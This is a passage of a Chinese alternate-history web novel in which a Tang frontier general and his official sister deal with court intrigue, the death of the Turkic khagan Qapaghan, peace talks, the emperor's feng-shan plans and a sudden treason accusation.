每日里和禁军子弟斗鸡走马,行猎马球,结交的都是些中级官吏, 也不怕坏了李家的名声。” “相王府动作太大,怕是会引起陛下的怀疑。” 上官婉儿想到自己侍奉的皇帝李显,不由得皱了皱眉: “公主莫要忘了, 之前民间传言隆庆池有龙气, 陛下特意在隆庆池上修建楼阁,又请百官共游以镇之。上回洛都护在街上微服同他撞见,拒绝了他过府一叙的邀请。此事后来被陛下知道,还要下令要褒奖洛都护, 要不是被大臣们按住了,当场就有数百段彩绢要送到碎叶郡王府。” 她说到此处, 又望了望走廊中款款而来的褚沅。 虽说做了一方执政,褚沅身上的钗镮却比在宫中时少得多了,只是她那昂首阔步的模样, 倒让人想起两日前班师长安的洛北——这位立下不世之功的北庭大都护回朝之时,便是这样昂首骑在马上入城的, 端的是意气风发。 “从前我们都以为褚沅去安西是一条死路。”上官婉儿由衷地感慨道,“谁知道她真在安西做出了名堂来,留守执政,代天牧民……这是多少大臣都可遇不可求的职责,竟能落到她一位女官的头上。” 太平公主见婉儿言语之间犹有些羡慕之意,不免笑着拍了拍她的手臂:“居中制诏,称量文才也是天下士子之向往,可比去边塞苦熬要清贵得多。” 上官婉儿轻轻笑了:“奴婢哪是这个意思,公主不要笑话我了。” 褚沅走到近前,见她们笑得快乐,一时不知所措,只能低头道礼:“见过镇国太平公主,见过上官昭容。” “昭容二字不必提了。”上官婉儿挥了挥手,示意她坐到棋盘一侧,“我两年前因劝阻圣上以安乐公主为皇太女的事情遭了贬斥,如今已经做回了婕妤。” “婢子有罪。”褚沅只得又躬身下拜。 “不知者无怪么。”上官婉儿笑道,“那时你在安西处理政务,长安这些消息不知道也是正常。起来吧。” 褚沅见她和太平公主均面色平静,才笃定下来,坐在了棋盘的一侧:“婢子这次从西域回京,带了些特产来孝敬公主与婕妤,若蒙两位不弃,可移步花厅观赏。” 花厅之中,自西域而来的货物已经满了好几张大桌,有瓜果点心、佳酿美食、还有数十匹布料及金银器物。上官婉儿和太平公主放眼望去,件件物品似乎都闪着轻微的金光。 太平公主越看眼中的兴趣越浓:“我听家人说,这次去河中、吐火罗打仗的士兵们中有不少发了财的。当时我还不信,西域一片风沙荒漠,哪里来的那么多财富?如今一见,果然如此。西域之地,物产丰饶,多有奇珍异宝。” 她移步到长桌一端的瓜果堆中,捡起一只金色的桃子,好奇地放在唇边一咬,竟真咬到口中一块桃肉: “咦?这桃子状若黄金,我还真以为是金子做的呢。” “回禀公主,这是康居国撒马尔罕城的特产,叫做金桃。虽然状若黄金,但是吃起来甘甜多汁,爽脆可口。”褚沅道。 上官婉儿微微颔首:“洛都护改昭武九姓各国为河中都护府的事情已经朝野共知,他此举拓境数千里,可谓是劳苦功高。” 她对桌上一串晶莹剔透的葡萄起了兴趣,抬手放到口中,闭嘴要嚼,却只觉得口中凉凉的、硬硬的,一用力,好险没崩掉一块牙: “这葡萄是水晶的?” “是。”褚沅飞奔过来,自她手中接过葡萄,又把她口中吐出的那颗包在手帕中,一并递给随从去修:“吐火罗山脉众多,多产矿石,所以宝石也易得。只是之前为战争所阻,不得朝贡罢了。如今战端已平,这样的宝石运到长安也就方便了。” 上官婉儿和太平公主各自应了一声,又往布料那边走了过去。 “这料子倒是难得。”上官婉儿拎起一匹布料,那布料上经纬密实,柔软亲肤,更难得是有丝丝金点,在射入屋内的阳光下显得格外夺目,“这是什么料子?” “这便是碎叶布坊的得意之作,洒金棉布。”提到这布料,褚沅脸上露出一点笑容,“棉布的原料便是中原百姓说的‘白叠子’,这东西产量高,纺线织布都算容易,故而我们在西域多有种植,百姓之家也种于田埂之上,一是收来自己做衣裳,二是卖给布坊挣个家用。” 上官婉儿听她这样说话,不由得笑了,她拉一拉太平公主的衣袖:“你看看沅儿如今说话,可真像个地方上京来化缘的执政官。怪不得洛都护左一道疏,右一道表的要求朝廷授于她官职。” 褚沅不好意思地低头一笑:“婕妤取笑我了。可洛将军上书为我求官,并不是为了徇私。西域地域广阔,民族各异,胡俗也有女子主门户的先例,因此他这举措也不算惊世骇俗。” 太平公主本来一直在听,听她说到这里,忽而起了精神:“你说下去。” 褚沅颔首,又道:“西域各地的百姓有不少是牧民和士兵,这些人一旦出门,便是十日半个月不回家,家中诸事,便要托赖妇女之手,还有官府傜役、田地之事,也会被丢给她们。有位女性居中执政,对她们来说也方便些。稳固住了这些妇女,便稳固住了赋税,更稳固了大唐的江山社稷。” 太平公主拿手边玉簪在桌边轻轻一敲:“继续说——” “还有便是,如今西域有些事业已经是女子做主了。“褚沅抖了抖她手边的那匹布料,“比如这布坊,不少布坊起于女子互助之社团,后来便成了女子事业的发端,发明这洒金布料的就是一位女子。她叫毕姮姬,原是昭武九姓之地最大的布料商的女儿,后来家国破碎,才辗转来了西域。” 太平公主“嗯”了一声,一双美目望着地面,似乎在沉思什么。 上官婉儿却笑道:“沅儿,这些东西虽然难得,但此事应当不是你来此的目的吧?要是为了官职,你应当半年前就派人来拜访。” 褚沅笑道:“我的心思哪里瞒得过婕妤?我此来是为了太子。” 太子? 太子虽然刚刚复位不久,但他毕竟担当过数年太子,又有仁孝之名,在李唐宗室和朝野之中都很有声望。他的位置不说稳如金汤,朝中那些大臣也不会允许皇帝再次随心所欲——这又有什么值得千里之外的褚沅送东西来讨好太平和上官婉儿的? “围绕着皇位,朝中已经乱局如此,不是陛下复立太子就能停下来的。”褚沅温声道,“局中之人野心滋长,朝野上下也有不少人已经压了注,主少臣疑,不是安定之相。我回长安不过数日,已经听闻数条谶语,有《桑条韦》歌,寓意着女主韦氏当有天下,还有“黑衣神王主天下”,寓意着女皇侄孙武延秀有天命。公主、婕妤,事已至此,不可不察啊。” 夕阳西下之时,褚沅才从太平公主的别院归家。皇帝李显为了彰显对洛北的恩宠,特地在长安城里皇城不远的地方赐下一座宅第,号为“碎叶郡王府”。 褚沅驾马飞驰入府之时,还能看到几辆车驾在门口等待洛北的接见。 “和这些人迎来送往,也是个麻烦事。”洛北送走最后一批客人,端起已经冷透的茶水抿了一口,他在长安不过数日,郡王府内外已收到了不少拜帖,他不好全部拒绝,只得抽时间出来分批与这些人见面。 “他们来寻我,多的是求官的、求功的。我一个边将,只能告诉他们,想要功勋爵位、升官发财,可我去西域边境,那里多的是机会……但一听这话,大家伙就都打了退堂鼓。” 褚沅笑笑,给他手边添上一盏热茶:“这些人多是朝中前段时间被清理的斜封官,他们别的门路走不通,只好走到阿兄这里来了。阿兄不必管他们。” 洛北摇了摇头,将她上下打量一眼,确认她别无受伤之处,才道:“怎么样,太平公主和上官婕妤为难你了吗?” “阿兄也知道宫里的规矩,如今我执政一方,又有那么多奇珍异宝奉上,她们是不会为难我的。”褚沅道,“只是在入见之前,我听闻了一件事情……临淄王李隆基似乎在结交禁军军官,此人恐怕野心不小。” 洛北微微皱眉:“是,葛福顺来拜访的时候同我说了。但他也说,临淄王不过是少年英俊,喜欢与军官们一道宴饮乐舞,别的事情可是什么都没提到。” 褚沅苦笑一声:“为了他死去的嫡母与生母,他也不应如此口无遮拦。阿兄可知昔年窦妃之事?” 第206章 突厥大汗,威震草原数十年的默啜,死了。 洛北对这些宫闱之事知之甚少, 见褚沅面色凝重,也不由自主地放下手中的书本:“窦妃之事?” “临淄王少年时,入朝觐见, 为大将军武懿宗所阻。他少年气盛, 便喝道:‘这是我们李家的朝廷殿堂!干你何事!’。女皇那时面上不表,心中却觉得定是有人在背后挑唆他反武复李。” “后来,相王府中的一个名叫团儿的婢女出言上告,说相王妃刘氏同临淄王的生母窦妃有厌胜诅咒之事。有前事在,女皇一听就勃然大怒。她将窦妃与刘妃召入宫中的嘉豫殿, 一并赐死,并焚其尸骨,投入太液池中。” “为了不使消息走漏, 女皇亦将知晓此事的宫人尽数处死。其中有个给二妃奉茶的女官,是与我一道长大的姐姐。” 褚沅轻轻叹息一声,望着雕花窗门在地上投下的阴影: “自母亲去世之后, 她与我同寝而居, 一向对我照顾有加。可惜便是因为那日在嘉豫殿中当值,就再也没有回来。” 洛北伸手搭在自家妹妹肩上,似乎要开口安慰什么,但也一个字都未能说出口, 只是与她同叹一声作罢。 围绕着天子之位的纠葛、纷争、翻云覆雨,终究是极少数贵胄们的游戏。大部分人只能祈望自己不是他们手中的棋子。 褚桓摇了摇头, 用多年前洛北曾经用过的语气道:“都过去了,阿兄,都过去了。” 她走到桌前, 摊开一张宫中各处关卡和地形的图纸: “后来,那个告发相王的女子韦团儿后来便替女皇行走灰暗, 打探消息,直到她自己亦被赐死。这使命代代相传,直到落在了我的肩上。” “而我亦明白,我不会是最后一个人。” 她笑了笑,脸色在阳光下显得有些苍白,她低身在空白处写下数个名字: “说正事吧,阿兄,韦跨、韦播、高嵩……这些人是韦后在禁军中的臂膀,不过他们一向酷烈,众心不服,只要我们是以有心算无心,处置起来会很容易。” “李仙凫、钟绍京、高力士……这几个人是李隆基着力拉拢的禁军及宫中人物。尤其是这个高力士,他本就因岭南流人叛乱获罪入宫,年纪与李隆基相仿,两人倾心相知,是李隆基在宫中最重要的内应。” 褚沅抬眼望着洛北:“若我猜的不错,高力士手中一定有一张和我们手中类似的宫禁图纸。” “你的意思是,李隆基会铤而走险?”洛北面露犹豫,“陛下已经复立太子,他可是师出无名。” “只要趁乱把太子一起杀掉就好了。” 褚沅轻声道: “阿兄,一个人幼时丧母,少年时被幽闭宫中,日日提防着父亲被废被杀,自己悄无声息地消失于世……这样的人在面对权势之时,怎么可能还顾得上不太熟悉的堂兄?曲沃代翼之后,也没有人为自己的宗亲哀悼不是?” 洛北苦笑了一声:“确实如此。” 他话音未落,一只金雕穿堂入室,扑棱着翅膀,落到了他的面前的桌上。 洛北无奈地伸出手臂让它站上去——以这金雕如今的体积和重量,这可不是个非常轻松的活计,他从金雕脚爪上取下字条,看了一眼,便长长地叹息一声。 “怎么了,阿兄?”褚沅好奇地问他。 “默啜死了。”洛北开口回答,手中默默攥紧了那张满是突厥文字的纸条。 突厥大汗,威震草原数十年的默啜,死了。 默啜的死亡不像诗人的传说故事那样充斥着灿烂的悲歌,也不像大部分突厥人希冀的那样死在一场激烈的战争中。 实际上,他的死亡充斥着几近能被称得上可笑的偶然—— 默啜兴兵讨伐叛乱的拔野古人及九姓铁勒各部,因兵力不够,又缺少了阙特勤这员大将,最终以惨胜告终。 战后精疲力尽的突厥人带着他们的战利品和奴隶们回归于都斤山下的牙帐。默啜如以往的数次征战一样,带着轻骑率先启程,他们在一处树林休息时撞见了拔野古人的游骑。 其中一个叫颉质略的拔野古人骁勇善战,连杀默啜两名亲卫之后,亦将默啜本人杀死。 “默啜的头颅已被拔野古人交给了我的亲卫郝灵荃。”洛北道,“郝灵荃不日就要到达长安,向陛下敬献。” “默啜为祸边境数十载,如今终于授首,如此功勋,阿兄面上竟不见喜色?”褚沅看出他神情复杂,小心追问。 “默啜大汗确实暴虐无道,否则他麾下众部不会被我的亲卫一挑,就纷纷起兵叛乱。可是……” 洛北取下手上陪伴他数年的黑玉扳指,放在桌上: “这样一来,我就又要和昔年挚友刀兵相对,此情此景,怎么让人高兴得起来啊。” 突厥牙帐所在的那片草原已经被鲜血涤了几遍。在浸染着鲜血的土地上,已经生长出了新生的牧草,等待春去秋来,就又会开满鲜花。 阙特勤的大帐正中挂着一把寒光闪闪的宝刀,偶有日光落在上面,便能照出刀身上的狼头印迹。 “这真是把宝刀。”默矩笑道,“你我一路砍杀,将默啜老儿手下那些令人讨厌的衙官都杀了个干净,竟连个卷边都没有。” 阙特勤兴致并不很高,但默矩这样问了,也只得温言给他解释:“这是乌特送给我的,据说曾经是天可汗的宝物,由陨铁所铸,不锈不腐。” “天可汗的宝物?怪不得如此锋利。”默矩接过那把宝刀仔细端详,却险些被刀刃割破了手,他只得把宝刀重新放在刀架上,搓了搓手: “对了,梅录啜他们来找我商议继位的事情,你真的不打算做可汗?” “长幼有序,再说,我是个带兵打仗的人,对牙帐中的阴谋诡计并不精通。”阙特勤摆了摆手,“哥哥不要再劝我了,这个可汗之位,我是绝对不会坐的。” “你太自谦了。”默矩摇了摇头:“若非你带着兵马从河中赶来,我们这些人在混乱之中就会成为九姓铁勒的俘虏。那些人还指望拥立阿史那匍俱打仗,哼,他们也不想想,阿史那匍俱做小可汗时就不是个打仗的料。当年若非他在多逻斯水葬送汗国的五万大军,我们何至于今日?” 阙特勤轻轻笑了:“那倒不是他无能,只能说,他不是乌特的对手。” 他说到此处,目光复杂地望了墙上的宝刀一眼: “你和我,我们俩也一样不是乌特的对手。所以,我们谁做可汗是无关紧要之事,这片草原上很快就只会留下一位可汗的名字和故事……就像当年的天可汗一样,他会成为有可汗之人的可汗,君临比昔日大海一样宽广的大突厥汗国更广袤的土地。” 默矩的脸色一下子就阴沉下来,要不是阙特勤刚刚率军击败了九姓铁勒,荡平了阿史那匍俱及其旧部,还杀尽了默啜的旧日衙官,默矩就要拍桌子骂他在长别人志气,灭自家威风了: “我不相信他有这样的本事,你同他并称突厥年轻一代中的文武双璧,难道你怕了他?” “不是怕了他。单打独斗,排兵布阵,我们都难论胜负。但乌特有一点远胜你我……他的胸怀比你我要宽广得多。” “这是什么狗屁道理,当王子、可汗的人没有当将军的人胸怀大?”默矩勃然作色。 阙特勤笑了:“哥哥,我们在河中征战之时,我和我的军队曾被大食军队团团围困。当时我连报信的使者都派不出去……弹尽粮绝之时,我以为我真的会被困死在那里。可那一天,是乌特率着自己的亲军,反复冲阵打崩了大食人的军队,解了我们的围。” “后来很多很多次,我躺在军帐中辗转反侧地想,如果我和乌特易地而处,我会奋不顾身地去救他吗?” “不会,不论想几次,我的答案都是不会。” 阙特勤叹了口气:“我们率领的军队还是名义上的敌人,我的下属绝不会同意我为此冒险,我不知道他是已经全军覆没,还是和大食人媾和,做套等着我来钻。我甚至不知道自己的亲兵投入战场是不是杯水车薪——倘若失败,大军全线败退,这一次战争和我自己,都会变成人们口中长久流传的笑话。” “而后我又想,倘若在洛北那个位置上的人是你,哥哥,你会带着自己的亲军来救我吗?”阙特勤望着默矩的眼睛。 默矩沉吟片刻,终究是不敢与他对视,默默地垂下眼眸。 “我不知道。时至今日,我也没办法肯定这个答案。”阙特勤道:“但我知道的是,洛北来了——他孤注一掷,带着自己的亲兵救了我们。” 默矩听完,脸上也露出感怀的神色,他思考了一会儿,还是叹了口气:“可这归根究底是你们自己的事情,阿史那阙,你不能把自己的情感凌驾于汗国之上。” “汗国……”阙特勤轻轻笑了一声,“哥哥,难道你真的觉得九姓铁勒群起反抗默啜是个偶然?” “你是说……他……”默矩瞠目结舌。 阙特勤笑了:“多年之前,在碎叶,他曾经以帮助救灾为名,把自己的亲兵侍卫派往草原各部。其中也包括你我的部族。若无这些人与部族民众朝夕相处,日日劝导,九姓铁勒怎么会团结起来反对默啜?” “如果这样说……”默矩艰难地咽了口吐沫,“乌特心思缜密,确非常人所能及。” “后来我才明白,他为什么告诉我,他想要一个值得信任的人做突厥大汗。因为在征召我去西征之前,他就想到了今日。” “可让我犹为佩服的是,他竟还愿意让我带着兵马回来救场。” 他想起洛北说话时脸上疲惫的神情,忍不住笑了——他这位以智谋著称的挚友和兄弟,也难得有为情感徇私的时候: “作为胜利的大军主将,他有数种办法可以让我留在河中,或者稍微拖延一下我的脚步,突厥便会大乱,可他还是让我回来了。哪怕未来我们终将刀兵相对。除却我们之间的情谊之外,他更不愿意见到草原混战太久,致使生灵涂炭。” 阙特勤说到此处,又是一叹:“哥哥,你还不明白吗?自默啜把他逼到唐家那边时,天命就已非你我所有了。” 第207章 “洛卿于朕,便如卫国公于太宗,英国公于高宗。” 景龙七年的十月初八, 默啜传首长安,同一日,吐蕃太后赤玛雷的请亲使团亦到长安。吐蕃人这一次格外言辞卑微, 说愿归还吐谷浑故地为聘礼, 以结两家永为盟好。 “他们倒是会算。”洛北与张孝嵩、慕容曦光等闲坐时不免笑道,“如今吐谷浑故地已经为我大唐所有,这个时候拿来当砝码,以为我们都是不识地图的蠢货吗?” 慕容曦光哈哈一笑,他提过茶壶往洛北杯中倒了一杯:“大哥哥的恩德, 我们吐谷浑慕容家永世不忘。大哥哥,宣彻叔叔尚在边境,不得回转, 我以茶代酒,敬你一杯如何?” “不忙,等哥舒亶回来了, 你敬他吧。”洛北摆手笑道。 “哥舒将军确实劳苦功高, 可若无大哥哥庙筹得当,任谁也不敢轻易翻越葱岭控制护密。”慕容曦光坚决不肯落座,只端着杯子站在那里。 张孝嵩也笑道:“洛将军就不要推辞了,曦光如今是左羽林军将军, 也是禁军中的重要人物,叫他这样站着, 成什么样子?” 他这话半开玩笑半认真,洛北只得站起身,与他举杯对碰, 一饮而尽:“未能攻克逻些城,现在还算不得什么功绩。” 他这话一说, 张孝嵩脸色也暗了下去,他是见过洛北的规划的: 若不是朝廷中途换帅,洛北必要自护密和于阗两路出兵,前后夹击逻些城——到了那个时候,吐蕃人连请和请婚的机会都不会有。 可朝廷换帅在先,现在又让安西北庭分治天山南北,洛北坐镇北庭,再想与吐蕃交战,就没有那么容易了。 不过,即便洛北自己不觉得,等到十一月突厥议和使团来到长安时,依旧在长安上下掀起了一股热潮。人们狂热地称颂他,说他是大唐的新一代军神。 李显甚至亲自挽着洛北的手登上开远门远望使团: “如今胡烟靖平,天下大定,都是卿的功劳。洛卿于朕,便如卫国公于太宗,英国公于高宗。” 洛北半低着头,心里却想起,上次皇帝像这样对他优容有加之时,正是要溜出宫去叶静能府邸玩之时——这定是皇帝又有什么折腾的点子。 虽然景龙七年的外战不断,一向乐于享受人生的皇帝李显也没有浪费这大好时节。 从正月起,他就开始了折腾的行程。先是正月里与韦皇后微服出宫观灯,还放了数千宫女一道出宫。这数千女子出了宫外,便如鱼入大海,没了踪迹,多的是不回来的。 二月花朝节,他又率着后宫妃嫔、文武百官前往梨园宴游,让三品以上的官员拔河为戏。韦巨源与唐休璟两位老宰相皆是过了八十的人,被拽得摔到地上就没能爬起来。引得皇帝与皇后、公主等一阵大笑。 到了上个月,他不知从何处听说长安城东的隆庆池有“龙气”,非要率文武百官前往隆庆池上宴游,以己身的“帝王之气”镇压住这股“龙气”。 洛北思绪乱飞,面上却如一渊湖水,平静自然: “陛下谬赞,微臣愧不敢当。天下太平,上赖陛下鸿福,下托将士用命,还有安西、北庭的百姓及部族子弟倾力相助……” 李显望了他一眼:“就是临阵换将,掣了你的肘,是不是?” “微臣不敢。”洛北恭敬下拜,“微臣还是凉州参军时,郭相公就是微臣的上司。郭相公此举与其说是打压微臣,不如说是为了匡正边将行止,免得武人轻狂,肆意在边境虐待外藩,挑起战乱。” 李显笑了:“你这些话倒是和宋相公如出一辙。打你一回来,他就成天在朕耳边念,什么国家穷兵黩武,耗尽民财,什么不应大肆封赏边功边臣……念的朕耳朵都快起茧子了。洛卿啊,朕也要问问你,你这样的功勋,朕要怎么封赏呢?” “微臣承蒙陛下错爱,年仅二十八岁,便服紫佩金,位极人臣。”洛北道,“陛下对微臣恩重如山,微臣不敢请赏。微臣愿请陛下将赐臣之物赠予军中将士,以慰征劳之苦。” 李显的脸上笑得越发灿烂了,他招呼侍立在身后的阿史那献: “金山郡王,你有子如此,怎能让朕不羡慕啊。这样吧,朕封你为辅国大将军,再赏给你一个钱炉,再把你的封邑增加到万户,如何?” 大唐制度,凡以功进身者,最高不过郡王,洛北一门父子出了两个郡王,已是了不起的恩宠,如今封邑万户,等同亲王……莫说大臣,便是许多李唐宗室也自愧弗如了。 洛北知道他还有后话,只是垂首躬身,并不说话。 “还有,朕决议要行封禅。你同朕一道去,乘着御辇去!” 即使在场的不少王公大臣早猜到皇帝有封禅的想法,听到此话也目瞪口呆。 同乘御辇这样的恩宠,过去只有扶立李显登基,又深得李显信任的辽阳郡王李多祚有过。如今这样的恩宠竟然落到了洛北一个二十八岁的年轻人头上! “陛下!微臣万死不敢当!”洛北只得跪地推辞,“君臣父子不可逾越,微臣身为人子,不可越父而行。” 李显这才反应过来,阿史那献是禁军首领,他要随行,必是在皇帝身后——哪有让儿子越前,让父亲随行的道理! “好吧,好吧。既然如此,也就罢了。”他沉吟片刻,又道:“天下如此,皇后劳苦功高,朕要效仿父母旧制,以皇后为亚献,并以宰相之女为斋娘。” “所以后来就没人在意陛下对我和将士们的封赏了。” 回到府邸议事之时,洛北是这样给不在场的褚沅转述此事的:“国子祭酒祝钦明赞成陛下的意思,说按照《周礼》,祭祀应当夫妇同行。太常博士唐绍等反对。于是那些文官清流、宰相大臣们当场辩论起来,你说孔子,我说《周礼》,还有人搬出大唐历代先皇来……场面热闹极了。” 他见褚沅歪着脑袋听得专注,笑了一句:“那斋娘的位置你可有兴趣?若是也想去见识一番泰山封禅,我可以在陛下面前提一提。” 褚沅摇了摇头:“以陛下对阿兄的重视,阿兄只要开口,岂有不应之理?不过,我已为一方执政,不必借此机会为自己获取更多的东西,还是留给其他女子吧。” 她将手边的一叠纸张递给洛北:“我近日在写都护府内的女官晋升制度,给阿兄看看,可合适否?” “晋升制度?”洛北好奇问道,“为何想要做这个?” “之前阿兄不是同我和裴公商议过,若要跨越高山大漠,穿过大食及大唐的控制区行商,单靠商人们一家一姓,是不切实际的。”褚沅道,“最好是由都护府牵头行事,另派一定数量的军队护送。如今这些布坊、棉行……多的是女子做主,若无这些精通商贾伎俩的女子加入,我们这个事情怕是做不成的。” 洛北沉思片刻,明白了她的意思:“你的想法是,把女官晋升亦规范起来?” “不错,”褚沅轻轻叹息一声,“宫中斜封官泛滥之时,我也曾经劝过上官昭容同太平公主,想让她们刹一刹这风气。但后来我转念一想,我们这些人因靠近君权,就好像自己得到了与君权近似的权力。” “可一切不过是镜花水月,我们这些人,连生死奖惩都无定数,全赖皇帝皇后的好恶。这样一来,大家怎么会知道应当把自己手中的权力用在何处?有些人只怕只知对上负责,连对和错都忘了。” “如今有了制度,有了成文的奖励和惩罚,她们便知道自己的一身才华可以用在更多地方,而不是敛财、弄权……” 洛北颔首,拿过她手中的文册慢慢地看起来。褚沅如此郑而重之,他便也格外上心,一面观看,一面推敲盘算。 正当这对兄妹沉思之时,门外却报有客来访。 “我不是说了,最近闭门谢客么?”洛北微微皱眉,朝廷为了封禅之事都快打起来了,他这位已经钦定要陪同的大将军必然招人注意,“便说我病了,如何?” “不如何?”院中传来一道爽朗笑声,“只会让人觉得你这碎叶郡王府的门槛太高。” 洛北一听声音,便知道这是哥舒亶来了,在他麾下众将之中,只有哥舒亶在讲汉话时执拗地留下一点西突厥的乡音:“哥舒将军?请进!请进!” 哥舒亶一身锦袍,领着个半大孩子走进了洛北的书房。他四处张望一眼,又笑道:“我听闻洛将军近日繁忙得很,如今一见,名不虚传啊。” 洛北也玩笑道:“这可怎么讲?” “以你这书房的整洁程度,怕是你得有十天半个月没进来研究你那些地图、书本和游记了吧?” 哥舒亶说完放声大笑,洛北也被他这情绪感染,笑了起来。 两人笑了一阵,还是褚沅提醒,才注意到那呆在原地的半大孩子:“哥舒将军,这孩子是?” “这孩子啊……说来可怜,这孩子原也是将门之后,如今倒成了孤儿。”哥舒亶指了指洛北,又指了指褚沅:“来,训儿,来见过碎叶郡王、阳翟郡君。 第208章 “倘若洛将军有心通敌叛国,我大唐西疆万里早已落入敌手,御史台那些人疯了吗?” 那孩子生得很俊朗, 眉眼间透着点难以掩饰的忧虑神色,见哥舒亶指点,一个字也不多说, 到他二人面前下拜道礼: “见过郡王、郡君。” 洛北正要问这孩子的来历, 目光扫到一边时,却见哥舒亶欲言又止。他猜到此事必有缘由,干脆望了褚沅一眼。 褚沅闻弦歌而知雅意,半蹲下身对那孩子道:“何必这样多礼,这里又没有外人。你从安西来, 一定很辛苦吧?走,跟褚姑姑到后堂去,先吃些东西垫垫肚子。” 待到这一大一小的身影走出花厅, 洛北才坐到座上,又给哥舒亶添了点茶水:“吐蕃出事了?” 哥舒亶本有些强撑,听他这样一说, 彻底忍不住唉声叹气起来:“当年我们在于阗, 张孝嵩就说过,军务都被朝政耽误了。如今到了吐蕃,还是这样。” 他抿了一口茶水:“就说这个孩子吧,这孩子的父亲叫王海宾, 是王方翼的同族。” 洛北颔首:“我记得此人,他原来是太子右卫率出身, 后来太子因忠被废,他也外放去做了丰海军使。他既是一军主将,怎么会……” “还不是因为朝廷临阵换帅。”哥舒亶道:“大军出发, 临阵调换指挥,军中人心思动。薛讷将军出身将门, 一入朝便身居高位,他哪里知道将士们失去了能征善战的主帅庇护的心情?” 洛北听出他心中有气,略作沉吟一番,才道:“吐蕃地势复杂,所以攻打吐蕃,我并未报毕其功于一役的想法。更何况,朝中收到的战报里似乎没有败局。” 哥舒亶摇了摇头:“将军不要宽慰我了,我们本欲追亡逐北,前后夹击,会师于逻些城下。如今只能困守边疆,难道是值得赞颂之事吗?我们大可在军报中吹嘘自己的斩获,但战线移动岂能骗人?” “说远了,哥舒亶。”见他越说越离谱,洛北只得开口:“这孩子是怎么回事?” 哥舒亶道:“当时军中人心不定,故而我们这些人都向他请命,要安抚军士,再行征战。但薛将军不愿意。将军也知道,其父薛仁贵兵败大非川,是他毕生难忘的耻辱,他一心指着在吐蕃战事上找场子,便强令我们率军出击。” 洛北皱了眉:“他确实操之过急了,若这样的事情处理不好,将士们是要哗变的。” “我们谁不是这样说?只有王海宾与他出身类似,一路打仗都是顺风顺水,便抢立了军令状,要为先锋。” 哥舒亶摇了摇头: “他出兵之后,起初倒是连战连捷,连破吐蕃三座城堡。可到第四座时,兵力便有不济,被吐蕃人所围困。我和慕容宣彻率军猛攻,虽逼退了吐蕃人,却未能救得他的性命。” 洛北站起身,几步走到门前,拉开了门扉。猛烈的冬风自门外吹进来,掀起了他身上的袍服。他站在门前,望着那些被吹起的败叶随风乱舞,最终还是闭上了眼: “看来,这一次议和还是不得不议,金城公主还是要到吐蕃去。” 哥舒亶在他身后,见他难得意气消沉,一时也不知如何是好,半晌才想出个话题转移了他的注意力:“对了,王训那孩子你打算怎么办?送到太子东宫去?还是送到他自己家里?” “现在朝中人人盯着太子,送到东宫去,更加不安全。送到他自己家里…他的亲族怕是都和他关系疏远了吧?”他看了一眼哥舒亶:“不然你也不会把这孩子带到我这里来。” 哥舒亶这才笑了,那笑容在他英俊的脸上显出几分促狭的意思: “王海宾虽然出身高,家中却不富裕。他的妻子早年病故,就留下这么一个半大孩子。把他丢回王家,怕是要惹人欺负的。若洛将军肯收留一段时间,是再好不过——你连那些大字不识一个的蕃兵都能教成将军,更不要说这孩子了。” 他对洛北眨了眨眼睛:“这样我也算没有辜负同袍的嘱托了。” 数日之后,大唐朝廷接受了突厥和吐蕃的议和,兵部与鸿胪寺牵头,与两国在长安谈判。 洛北以谙熟边事,私下请命参与议和谈判,却被李显和郭元振各自回绝。 李显笑着对他道:“洛卿一片拳拳之心,朕心知肚明,但若你此行依旧能功成,朕也没有什么爵位能给了。” 郭元振说得更直接:“我说,你小子也要给别人些机会吧?还嫌自己不够树大招风的?” 洛北哑口无言,只得在家中闭门谢客,修身养性。偶尔替他妹妹翻译一两篇难懂的粟特文书,间或指点指点王训练武习字,处理一些北庭庶务,日子便如流水一般地过去了。 到了十二月上旬,两项和议皆有了些条款定下,朝野上下一片歌功颂德之声。李显顺势再度把封禅之事提上日程,甚至为此将宰相宋璟贬官外任为杭州刺史。 宋璟素有刚直之名,他的存在可谓是朝廷的风向标。宋璟贬官外任,就代表皇帝的耐心和理性都已经耗尽。 见风使舵的大臣们立刻转向,称颂皇帝功德,赞成封禅之事。即使有硬骨头的御史上奏劝阻,也无法再在朝中引起风浪了。 张孝嵩有时过府来拜访,提及此事也是唉声叹气:“封禅之事花费众多,一路惊扰州府,祸害的百姓更是不计其数。山东的百姓才从水灾之中挣扎出来,过了几年好日子啊。” “孝嵩,你不要忘了,陛下政变登基,得位有不正之处。”室内只有他们两人时,洛北说话也忘形起来:“如今有机会可以证明自己能比肩其父,他怎么会错过……不过,我还有一重担忧……” 他话语未完,门外已被一连串的喧闹之声打破。他与张孝嵩对视一眼,各自拿上兵刃,走出房门时,正撞上跑得满头是汗的褚沅:“阿兄!” 顾不上张孝嵩的惊讶,洛北先握住她手臂安抚道:“出什么事儿了?” “外面有御史台的人前来,邀请阿兄前去御史台协同办案。”褚沅双手叉腰,微微弯着身子连着喘了两口气,才把气息顺匀,“他们说,阿兄涉及一桩通敌叛国的案子。” “通敌叛国?洛将军?”张孝嵩大惊失色,“这太荒唐了,倘若洛将军有心通敌叛国,我大唐西疆万里早已落入敌手,御史台那些人疯了吗?” 洛北的父亲阿史那献执掌禁军,洛北又是功勋卓著的边将。一门父子皆有郡王爵位,又是有军权的大将军。 更不要说皇帝已将“同乘御辇”的话都放了出来,洛北如今算是朝中最为权势显赫之人,便是有御史弹劾,御史大夫也不可能允许他们上来就玩入台质询这套手段,又不是老寿星嫌自己的命太长。 “御史台的人可说具体是什么案子?”洛北微微皱起眉。 褚沅道:“他们说,阿兄纵放阙特勤,使其归国之后,一统突厥,拥立其兄继位,成为我大唐之患。” “突厥议和使团不是刚和兵部和鸿胪寺的人谈出些眉目吗?”张孝嵩和洛北对视一眼,下意识地开口询问。 “所以,这项弹劾恐怕兵部和鸿胪寺的人都不知情。”褚沅轻声道,“阿兄,此事事关重大,外面又是情势不明,我马上回去,以无诏的理由把他们挡回去。请两位在这里稍作等待,不要露面。” 张孝嵩立刻道:“我出身御史台,阙特勤之事我也知晓内情,我同褚郡君一道出去。我倒要问问,他们到底吃了什么熊心豹子胆,敢把这样的罪名往一位功勋卓著的郡王头上扣!” 褚沅轻轻叹息一声。这位年轻的生长在大明宫中的女官已经嗅到空气里的一丝血腥味道: “不,张御史,这些人手中未必没有诏命或是陛下的手敕。” 张孝嵩愣了片刻:“那你还要拿无诏的理由把他们打回去么?” 